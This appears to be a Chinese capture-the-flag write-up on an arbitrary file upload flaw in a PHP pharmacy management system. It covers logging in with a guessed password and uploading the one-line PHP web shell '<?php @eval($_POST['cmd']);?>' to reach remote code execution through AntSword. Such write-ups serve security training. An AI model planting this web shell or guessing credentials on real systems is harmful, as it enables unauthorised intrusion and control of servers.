本文最后更新于483 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

靶标介绍:
多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的,该软件的主要目的是在药房和客户之间提供一套接口,客户是该软件的主要用户。该软件有助于为药房业务创建一个综合数据库,并根据到期、产品等各种参数提供各种报告。该CMS中php_action/editProductImage.php存在任意文件上传漏洞,进而导致任意代码执行。
一、访问URL

二、信息收集
Pharmacy Management System(MPMS) 是Mayuri K.个人开发者的一个多语言药房管理系统。
根据页面现有信息找到作者邮箱:

三、尝试登录
mayuri.infospace@gmail.com,猜测密码为:mayurik,成功进入
mayuri.infospace@gmail.com/mayurik

四、找到上传的地方,并尝试上传webshell

成功上传webshell
<?php @eval($_POST['cmd']);?>

五、获取webshell地址

六、使用蚁剑进行连接

七、成功获取flag

八、总结
- 信息收集,获取重要信息
- 文件上传